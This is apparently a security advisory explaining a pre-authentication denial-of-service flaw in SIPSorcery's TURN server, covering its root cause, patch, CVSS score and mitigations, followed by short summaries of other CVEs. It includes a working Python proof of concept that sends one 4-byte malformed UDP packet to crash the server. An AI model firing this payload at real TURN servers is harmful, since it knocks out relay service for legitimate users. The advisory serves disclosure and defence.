Aug 12, 2026·6 min read·14 visits
A single malformed pre-authentication UDP packet crashes the SIPSorcery TURN server's fire-and-forget receive thread, disabling UDP relaying for all clients until manual restart.
An uncaught exception vulnerability exists in SIPSorcery's TurnServer component, where unauthenticated malformed UDP packets can crash the core UDP receive loop, resulting in a persistent Denial of Service.
The SIPSorcery real-time communication library offers a full-featured implementation of network protocols such as SIP, WebRTC, STUN, and TURN. Within this ecosystem, the TurnServer component plays a critical role in bridging firewall-restricted endpoints by relaying media traffic under the RFC 5766 TURN specification.
Because the TURN server must process incoming packets from arbitrary external clients prior to any cryptographic validation or user authentication, its receive ports are exposed to untrusted network traffic. This exposure presents an extensive attack surface since the parsing engine must decode highly structured STUN and TURN packets before identifying the sender.
This vulnerability is classified under CWE-248 (Uncaught Exception) and CWE-755 (Improper Handling of Exceptional Conditions). The flaw lies in the structural logic of the server's UDP packet processing loop, which fails to isolate downstream parsing exceptions from the socket reading thread. Consequently, any parsing failure terminates the entire receive pipeline.
The root cause of this vulnerability is the placement of exception handlers in the ReceiveUdpAsync() method inside src/SIPSorcery/net/TURN/TurnServer.cs. The receive loop uses a while loop that listens for incoming UDP datagrams using the asynchronous .ReceiveAsync() call. While specific socket-level exceptions like ObjectDisposedException and SocketException are caught inside the loop, the actual data processing function, HandleUdpDatagram(), is executed outside of any inner try-catch block.
If HandleUdpDatagram() throws an exception, the call stack unwinds past the while loop. The exception is caught only by a generic catch-all block located at the method's outermost scope. Once this outer catch block executes, the ReceiveUdpAsync() task exits permanently.
The exception can be triggered by sending a payload that fails validation in STUNHeader.ParseSTUNHeader(). If the first byte of an unauthenticated packet has its upper two bits set, the check (Array[startIndex] & 0xC0) != 0 evaluates to true, throwing an ApplicationException. Alternatively, if the packet is too short to contain a valid header, a NullReferenceException is thrown when accessing the unparsed header, which similarly crashes the loop.
The vulnerable implementation in src/SIPSorcery/net/TURN/TurnServer.cs ran the packet processing logic nakedly inside the execution loop:
private async Task ReceiveUdpAsync()
{
try
{
while (_running)
{
UdpReceiveResult result;
try
{
result = await _udpSocket.ReceiveAsync().ConfigureAwait(false);
}
catch (ObjectDisposedException) { break; }
catch (SocketException) { break; }
// VULNERABILITY: This execution call is unprotected.
// Any parser error throws an exception that escapes the while loop.
HandleUdpDatagram(result.Buffer, result.RemoteEndPoint);
}
}
catch (Exception ex)
{
logger.LogError(ex, "Exception in TurnServer ReceiveUdpAsync.");
}
}To remediate this, the patch introduces a nested try-catch block inside the while loop. This isolation prevents application-level exceptions from propagating to the thread-level scope, keeping the loop functional:
// PATCHED: Processing is wrapped in a localized exception filter.
try
{
HandleUdpDatagram(result.Buffer, result.RemoteEndPoint);
}
catch (Exception datagramExcp)
{
logger.LogWarning(datagramExcp, "TURN server dropped a UDP datagram from {Remote} that could not be processed.",
result.RemoteEndPoint);
}This structural modification ensures that any exceptional execution state encountered while processing a malformed packet is logged and discarded, allowing the server to safely resume listening on the socket.
An unauthenticated remote attacker can exploit this flaw by sending a single, malformed UDP datagram to the target TURN server. Because the vulnerability lies in the initial pre-authentication decoding step, no valid credentials or active sessions are needed to trigger the crash.
The attack is highly reliable and requires sending a 4-byte payload. For example, sending a packet starting with \x80 bypasses the initial TURN ChannelData checks and forces the parser to process it as a STUN message. This immediately triggers the path validation failure in ParseSTUNHeader(), culminating in the thread's termination.
import socket
import sys
def crash_turn(ip, port):
# First byte 0x80 triggers the logic check failure
payload = b"\x80\x00\x00\x00"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.sendto(payload, (ip, port))
print(f"[*] Malformed packet sent to {ip}:{port}")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == '__main__':
crash_turn(sys.argv[1], int(sys.argv[2]))Following the delivery of this payload, the listening socket remains open in the operating system's netstat output, but the user-mode background worker thread is dead. The OS queue will eventually fill, discarding all subsequent valid TURN traffic and denying relay services to legitimate users.
This vulnerability has an immediate and complete impact on the availability of the TURN relay service. Because SIPSorcery spawns the UDP listening thread as a fire-and-forget background task using _ = ReceiveUdpAsync(), there is no process supervisor, watch-dog timer, or automatic restart logic to revive the thread.
When the receive loop crashes, all active media streams traversing the TURN server are immediately interrupted, and no new connections can be established. This causes a complete Denial of Service across the entire deployment. Legitimate clients attempting to connect will experience time-out failures, rendering the application stack inoperable until a system administrator manually restarts the hosting application.
The vulnerability is assigned a CVSS v3.1 score of 7.5 (High), reflecting a high availability impact accessible via the network layer without privileges or user interaction. Due to the simple nature of the exploit payload, scripting and automation of this attack vector are straightforward.
The primary remediation for this vulnerability is to upgrade the SIPSorcery NuGet package dependency to version 10.0.14 or later. This release addresses the vulnerability by wrapping the UDP and TCP processing calls inside localized exception boundaries.
If an immediate upgrade is not feasible, administrators should enforce strict IP-based firewall filtering to restrict access to the TURN port (default 3478). Only trusted peers and clients should be permitted to interact with the socket.
Deploying the SIPSorcery application within a containerized orchestrator like Kubernetes with active health and liveness probes is also recommended. If the TURN server ceases to respond to ping or validation requests, the orchestrator can automatically restart the container, reducing the duration of any potential outage.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
SIPSorcery SIPSorcery | >= 10.0.5, <= 10.0.13 | 10.0.14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-248 |
| Attack Vector | Network |
| CVSS | 7.5 (High) |
| Exploit Status | PoC Released |
| Impact | Complete Denial of Service |
An application does not catch an exception thrown during a process, resulting in thread or process termination.
An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.
CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.
A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.
CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.
An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.
An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.